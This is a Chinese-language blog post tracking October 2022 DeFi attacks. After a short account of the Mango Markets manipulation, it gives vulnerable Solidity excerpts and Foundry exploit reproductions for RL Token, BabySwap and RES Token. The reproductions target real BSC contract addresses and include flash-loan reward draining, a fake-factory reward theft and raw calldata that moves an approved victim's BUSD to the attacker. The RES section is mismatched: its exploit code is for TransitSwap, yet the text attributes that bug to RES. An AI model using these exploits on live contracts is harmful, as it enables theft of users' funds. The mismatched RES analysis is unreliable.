攻击事件追踪10月————持续更新

Posted by Thomas_Xu on 2022-12-09

攻击事件追踪——持续更新


author:Thomas_Xu

Mango Markets

此次攻击发生在2022年10月12日。一个名为Mango Markets的Solana龙头衍生品交易协议被一个资金雄厚的市场操纵者攻击,造成了超过上亿美元的损失。

据mango官方推特所说:

黑客成功地通过引入巨额的USDC创建了两个MNGO-PERP的巨大头寸,暴拉了Mango的原生代币MNGO的价格,并抽干了他们的贷款池,使该协议留下了1.15亿美元的坏账。

但有个很奇怪的地方就是,其实早在今年3月就有人在Discord上提出了此漏洞,但Mango项目方好像并不愿意因此提供赏金。

而黑客在拿到这笔巨额代币后,通过治理提出了一个解决这个混乱场面的提案:

Mango 攻击事件黑客提案:使用国库 7000 万美元偿还坏账,投票将于3天后结束-ChainCatcher

他们要求Mango项目方向黑客支付7000万美金的漏洞赏金,并且不进行任何刑事侦查。

如果此提案在投票中被通过,黑客将把账户中 MSOL、SOL 和 MNGO 转入 Mango 团队发布的地址。

当然,攻击者用他们偷来的3200万票全部投了赞成票。

不难猜到这个提案最终的结局……

攻击方式:

攻击者的地址从FTX获得了超过500万美元的资金(200万350万USDC),这些资金被存入Mango Markets,并被用来建一个大的MNGO-PERP头寸。

通过从另一个账户对该头寸对敲,攻击者成功地将MNGO的现货价格从0.03美元暴拉至0.91美元。在MNGO价格保持高位的同时,黑客得以利用多头头寸的未实现利润作为抵押,将贷款池中的资金抽走。

黑客的Mango Markets账户显示有1.15亿美元的坏账。借走的资产如下:

由于MNGO代币的低流动性和低交易量,使得极端的价格操纵成为可能。

说在后面

如果Mango在3月份支付了赏金,并在一开始就预防攻击的发生,那就好了…

去年对Venus Protocol的类似攻击(不要跟最近与Luna事件有关的事件混为一谈),导致一个用户在6个多月前在Mango社区内提出担忧

RL Token

漏洞:不正确的激励计算方式,造成闪电攻击。

不正确的激励计算方式,造成闪电攻击。

漏洞分析:

先来看LP token中transferFrom的源码:

https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888#code#F1#L129

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function transferFrom( 
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
if (from != address(pancakeSwapV2Pair) && from != address(pancakeSwapV2Router)) {
incentive.distributeAirdrop(from);
}
if (to != address(pancakeSwapV2Pair) && to != address(pancakeSwapV2Router)) {
incentive.distributeAirdrop(to); //trace function
}
if (msg.sender != address(pancakeSwapV2Pair) && msg.sender != address(pancakeSwapV2Router)) {
incentive.distributeAirdrop(msg.sender); //trace function
}
require(allowance(from, msg.sender) >= amount, "insufficient allowance");
if (govIDO != address(0)) {
if (IKBKGovIDO(govIDO).isPriSaler(from)) {
IKBKGovIDO(govIDO).releasePriSale(from);
}
if (IKBKGovIDO(govIDO).isPriSaler(to)) {
IKBKGovIDO(govIDO).releasePriSale(to);
}
}
//sell
if (to == address(pancakeSwapV2Pair) && msg.sender == address(pancakeSwapV2Router)) {
if (!isCommunityAddress[from]) {
uint burnAmt = amount / 100;
_burn(from, burnAmt);
uint slideAmt = amount * 2 / 100;
_transfer(from, slideReceiver, slideAmt);
amount -= (burnAmt + slideAmt);
}
} else {
if (!isCommunityAddress[from] && !isCommunityAddress[to]) {
uint burnAmt = amount / 100;
amount -= burnAmt;
_burn(from, burnAmt);
}
}
return super.transferFrom(from, to, amount);
}

可以看到这里在转账时会执行激励的计算,我们注意关注trace function处,跟踪这两个调用,进入到distributeAirdrop函数中:

https://bscscan.com/address/0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666#code#F1#L49

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function distributeAirdrop(address user) public override {
if (block.timestamp < airdropStartTime) {
return;
}
updateIndex();
uint256 rewards = getUserUnclaimedRewards(user); //vulnerable point
usersIndex[user] = globalAirdropInfo.index;
if (rewards > 0) {
uint256 bal = rewardToken.balanceOf(address(this));
if (bal >= rewards) {
rewardToken.transfer(user, rewards);
userUnclaimedRewards[user] = 0;
}
}
}
function getUserUnclaimedRewards(address user) public view returns (uint256) {
if (block.timestamp < airdropStartTime) {
return 0;
}
(uint256 newIndex,) = getNewIndex();
uint256 userIndex = usersIndex[user];
if (userIndex >= newIndex || userIndex == 0) {
return userUnclaimedRewards[user];
} else {
//vulnerable point, Incorrect Reward calculation. only check balanceof of user without any requirement.
return userUnclaimedRewards[user] + (newIndex - userIndex) * lpToken.balanceOf(user) / PRECISION;
}
}

注意getUserUnclaimedRewards函数是有明显漏洞的,在激励计算的过程中,只检查了user的balance没有对其他的任何条件做出检查,这是很危险的,我们完全可以从闪电贷中调用此函数获利。

攻击复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";
import "forge-std/console.sol";

// Report https://twitter.com/CertiKAlert/status/1576195971003858944
// Attacker : 0x08e08f4b701d33c253ad846868424c1f3c9a4db3
// Attack Contract : 0x5EfD021Ab403B5b6bBD30fd2E3C26f83f03163d4
// Vulnerable Contract : https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888
// Attack Tx 0xe15d261403612571edf8ea8be78458b88989cf1877f0b51af9159a76b74cb466
interface IDODO {
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external;

function _BASE_TOKEN_() external view returns (address);
}

interface RLLpIncentive{
function distributeAirdrop(address user) external;
}


contract AirDropRewardContract{
IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888);
RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666);
IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e);
constructor() {
RL.transfer(address(this), 0);
}

function airDropReward(address receiver) external{
RLL.distributeAirdrop(address(this));
RL.transfer(receiver, RL.balanceOf(address(this)));
Pair.transfer(receiver, Pair.balanceOf(address(this)));
}
}

contract ContractTest is DSTest{

IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888);
RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666);
IDODO dodo = IDODO(0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE);
IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address [] public contractAddress;

CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
// cheats.createSelectFork("bsc", 21794289);
cheats.createSelectFork("bsc");
}

function testExploit() external{

emit log_named_decimal_uint(
"[Start] Attacker USDT balance before exploit",
USDT.balanceOf(address(this)),
18
);

USDT.approve(address(Router), ~uint256(0));
RL.approve(address(Router), ~uint256(0));
Pair.approve(address(Router), ~uint256(0));
airDropContractFactory();
//change timestamp to pass check
// cheats.warp(block.timestamp + 24 * 60 * 60);
console.log("~~~~~~~~~~~~~~~~~~~~~~~~~");
dodo.flashLoan(0, 450_000 * 1e18, address(this), new bytes(1));
// dodo.flashLoan(0, 45 * 1e18, address(this), new bytes(1));

emit log_named_decimal_uint(
"[End] Attacker USDT balance after exploit",
USDT.balanceOf(address(this)),
18
);
}

function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{
buyRLAndAddLiquidity();
//claimAirDrop
for(uint i = 0; i < contractAddress.length; i++){
console.log("~~~~~~~~~~~~~~~~~~~~~~~~~",Pair.balanceOf(address(this)));
Pair.transfer(contractAddress[i], Pair.balanceOf(address(this)));
(bool success,) = contractAddress[i].call(abi.encodeWithSignature("airDropReward(address)", address(this)));
require(success);
}

removeLiquidityAndSellRL();
USDT.transfer(msg.sender, 450_000 * 1e18);
}

function buyRLAndAddLiquidity() public{
address [] memory path = new address[](2);
path[0] = address(USDT);
path[1] = address(RL);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
150_000 * 1e18,
0,
path,
address(this),
block.timestamp
);

Router.addLiquidity(
address(USDT),
address(RL),
USDT.balanceOf(address(this)),
RL.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp
);

}

function removeLiquidityAndSellRL() public{
Router.removeLiquidity(
address(USDT),
address(RL),
Pair.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp
);

address [] memory path = new address[](2);
path[0] = address(RL);
path[1] = address(USDT);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
RL.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);


}

function airDropContractFactory() public{
address _add;
bytes memory bytecode = type(AirDropRewardContract).creationCode;
for(uint _salt = 0; _salt < 100; _salt++){
assembly{
_add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
}
contractAddress.push(_add);
}
}


}

复现代码使用Foundry框架,和HackLabs中给的攻击代码稍有改动。

执行forge test --contracts src/test/RL_exp.sol -vvvv即可

此测试执行结果会报一个balance不足的错,是因为被攻击合约地址已经停止使用,没有余额了。

Insufficient validation

漏洞:swap底层函数缺少检查

漏洞分析

先来看babyswap当中BabySmartRouter.sol的源码

https://bscscan.com/address/0x8317c460c22a9958c27b4b6403b98d2ef4e2ad32#code#F14#L89

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] memory path,
address[] memory factories,
uint[] memory fees,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = BabyLibrarySmartRouter.getAggregationAmountsOut(factories, fees, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'BabyRouter: INSUFFICIENT_OUTPUT_AMOUNT');
amounts[0] = routerFee(factories[0], msg.sender, path[0], amounts[0]);
TransferHelper.safeTransferFrom(
path[0], msg.sender, BabyLibrarySmartRouter.pairFor(factories[0], path[0], path[1]), amounts[0]
);
_swap(amounts, path, factories, to); //vulnerable point - Insufficient validation
}

SwapMining.sol

https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code#F4#L236

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// swapMining only router
function swap(address account, address input, address output, uint256 amount) public onlyRouter returns (bool) {
require(account != address(0), "SwapMining: taker swap account is the zero address");
require(input != address(0), "SwapMining: taker swap input is the zero address");
require(output != address(0), "SwapMining: taker swap output is the zero address");

if (poolLength() <= 0) {
return false;
}

if (!isWhitelist(input) || !isWhitelist(output)) {
return false;
}

address pair = BabyLibrary.pairFor(address(factory), input, output);
PoolInfo storage pool = poolInfo[pairOfPid[pair]];
// If it does not exist or the allocPoint is 0 then return
if (pool.pair != pair || pool.allocPoint <= 0) {
return false;
}

uint256 quantity = getQuantity(output, amount, targetToken);
if (quantity <= 0) {
return false;
}

mint(pairOfPid[pair]);

pool.quantity = pool.quantity.add(quantity);
pool.totalQuantity = pool.totalQuantity.add(quantity);
UserInfo storage user = userInfo[pairOfPid[pair]][account];
user.quantity = user.quantity.add(quantity);
user.blockNumber = block.number;
return true;
}

特别注意swapExactTokensForTokens这个函数,他仿造了uniswap的代码,但是他重写了底层的swap的逻辑。

而我们知道uniswap之所以在执行swap的时候不需要进行额外的检查,是因为底层的swap有一个严格的K值检查,但是此swap的逻辑仅仅是计算奖励到user头上,没有进行任何检查。这就造成了检查不足的严重问题

攻击复现:

依旧是Foundry下的复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";
import "forge-std/console.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1576441612812836865
// @TX
// https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe
interface BabySwapRouter {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] memory path,
address[] memory factories,
uint[] memory fees,
address to,
uint deadline
) external;
}

interface SwapMining {
function takerWithdraw() external;
}

contract FakeFactory {
address Owner;
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
constructor(){
Owner = msg.sender;
}
// fake pair
function getPair(address token1, address token2) external view returns(address pair) {
pair = address(this);
}
// fake pair
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
reserve0 = 10_000_000_000 * 1e18;
reserve1 = 1;
blockTimestampLast = 0;
}
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external{
if(WBNB.balanceOf(address(this)) > 0) WBNB.transfer(Owner, WBNB.balanceOf(address(this)));
// if(USDT.balanceOf(address(this)) > 0) USDT.transfer(Owner, USDT.balanceOf(address(this)));
}
}

contract ContractTest is DSTest{

IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 BABY = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);
BabySwapRouter Router = BabySwapRouter(0x8317c460C22A9958c27b4B6403b98d2Ef4E2ad32);
SwapMining swapMining = SwapMining(0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636);

CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
// cheats.createSelectFork("bsc", 21811979);
cheats.createSelectFork("bsc", 22629431);
// cheats.createSelectFork("bsc");
}

function testExploit() public{

address(WBNB).call{value: 20_000}("");
WBNB.approve(address(Router), type(uint).max);
BABY.approve(address(Router), type(uint).max);
// create fakefactory
FakeFactory factory = new FakeFactory();
// swap token to claim reward
address [] memory path1 = new address[](2);
path1[0] = address(WBNB);
path1[1] = address(USDT);
address [] memory factories = new address[](1);
factories[0] = address(factory);
uint [] memory fees = new uint[](1);
fees[0] = 0;
Router.swapExactTokensForTokens(
10_000,
0,
path1,
factories,
fees,
address(this),
block.timestamp
);
// swap token to claim reward
address [] memory path2 = new address[](2);
path2[0] = address(WBNB);
path2[1] = address(BABY);
Router.swapExactTokensForTokens(
10_000,
0,
path2,
factories,
fees,
address(this),
block.timestamp
);
// calim reward token
swapMining.takerWithdraw();
sellBaby();

emit log_named_decimal_uint(
"[End] Attacker USDT balance after exploit",
USDT.balanceOf(address(this)),
18
);

}

function sellBaby() internal {
console.log("~~~~",BABY.balanceOf(address(this)));
address [] memory path = new address[](2);
path[0] = address(BABY);
path[1] = address(USDT);
address [] memory factories = new address[](1);
factories[0] = address(0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da);
uint [] memory fees = new uint[](1);
fees[0] = 3000;

Router.swapExactTokensForTokens(
BABY.balanceOf(address(this)),
0,
path,
factories,
fees,
address(this),
block.timestamp
);
}

}

攻击者可以创建了假工厂合同以获得真正的奖励令牌

RES Token

这次攻击发生在2022年10月6日,RES Token被发现有严重漏洞,最终导致持有该代币的用户遭受290K美元的损失。

漏洞:不正确的奖励计算方式,owner判断不足

这是ERS Token的漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function _transfer(address sender, address recipient, uint256 amount) internal {
require(!_blacklist[tx.origin], "blacklist!");
require(!isContract(recipient) || _whiteContract[recipient] || sender == owner() || recipient == owner(), "no white contract");
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(recipient != address(this), "transfer fail");
require(_allToken != address(0), "no set allToken");
if(sender != owner() && recipient != owner() && IPancakePair(_swapV2Pair).totalSupply() == 0) {
require(recipient != _swapV2Pair,"no start");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");

bool skip = _isSkip(sender, recipient);
TransferType transferType = _transferType(sender, recipient);

uint256 amountRecipient = amount;
if (!_lockSwapFee && !skip && transferType != TransferType.TRANSFER){
if (transferType == TransferType.SWAP_BUY){
if (_isBuySwap(amount)){
amountRecipient = amount.mul(uint256(100).sub(_buyFee)).div(100);
_distBuyFee(recipient, amount.mul(_buyFee).div(100)); //Get ALLtoken reward
}
}else if(transferType == TransferType.SWAP_SELL){
if (_isSellSwap(amount)){
amountRecipient = amount.mul(uint256(100).sub(_sellFee)).div(100);
_distSellFee(sender, amount.mul(_sellFee).div(100));
}
}
}

if (transferType == TransferType.TRANSFER){
_thisAToB(); //vulnerable point - burn RES
}

function _thisAToB() internal{
if (_balances[address(this)] > _minAToB){
uint256 burnNumber = _balances[address(this)];
_approve(address(this),_pancakeRouterToken, _balances[address(this)]);
IPancakeRouter(_pancakeRouterToken).swapExactTokensForTokensSupportingFeeOnTransferTokens(
_balances[address(this)],
0,
_pathAToB,
address(this),
block.timestamp);
_burn(_swapV2Pair, burnNumber); //vulnerable point
IPancakePair(_swapV2Pair).sync();
}
}

攻击者进行了多次交换以获得持有者全部的代币,并燃烧RES代币以提高兑换率。

完整的攻击流程如下:

tx:https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189

Debug transaction:https://phalcon.blocksec.com/tx/bsc/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189

攻击复现

模拟的攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "./interface.sol";
/*
Attack tx: https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189
Attack eventlog: https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189#eventlog
Debug transaction: https://phalcon.blocksec.com/tx/bsc/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189

Attack steps: It's simple, but you need to study past transactions to know how to combine the call data.
1.Incorrect owner address validation, you can input any innocent user who granted approvals to "0xed1afc8c4604958c2f38a3408fa63b32e737c428" before.
in this case 0x1aae0303f795b6fcb185ea9526aa0549963319fc is a innocent user who has BUSD and granted approvals.

2.
Contract "0xed1afc8c4604958c2f38a3408fa63b32e737c428" will perform transferFrom to transfer amount of innocent user to attacker.
That's it.

Root cause: Incorrect owner address validation.

Contract:
TransitSwap:0x8785bb8deae13783b24d7afe250d42ea7d7e9d72
Bridge:0x0B47275E0Fe7D5054373778960c99FD24F59ff52
Claimtokens:0xed1afc8c4604958c2f38a3408fa63b32e737c428
*/

contract ContractTest is Test {

address TransitSwap = 0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72;
IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);

function setUp() public {
vm.createSelectFork("bsc", 21816545); // fork mainnet block number 21816545
// vm.createSelectFork("bsc");
}

function testExploit() public {

emit log_named_decimal_uint("Before exploiting, Attacker BUSD balance",busd.balanceOf(address(this)), 18);

TransitSwap.call(hex"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc000000000000000000000000b4c79daB8f259C7Aee6E5b2Aa729821864227e8400000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000");

emit log_named_decimal_uint("After exploiting, Attacker BUSD balance",busd.balanceOf(address(this)), 18);
}

receive() external payable {}
}

漏洞分析

在RES Token的底层_transfer函数中调用了计算奖励的函数_thisAToB(),但此函数在burn之前没有对owner进行验证,导致我们可以输入任意一个被授权的地址。

攻击步骤

很简单,但是需要研究过往的交易,才能知道如何组合通话数据。
1.不正确的所有者地址验证,您可以输入之前授予批准“0xed1afc8c4604958c2f38a3408fa63b32e737c428”的任何无辜用户。
在这种情况下,0x1aae0303f795b6fcb185ea9526aa0549963319fc 是拥有 BUSD 并获得批准的无辜用户。

2.
合约“0xed1afc8c4604958c2f38a3408fa63b32e737c428”将执行transferFrom,将无辜用户的金额转移给攻击者。
而已。


notice

true

This is copyright.

...

...

00:00
00:00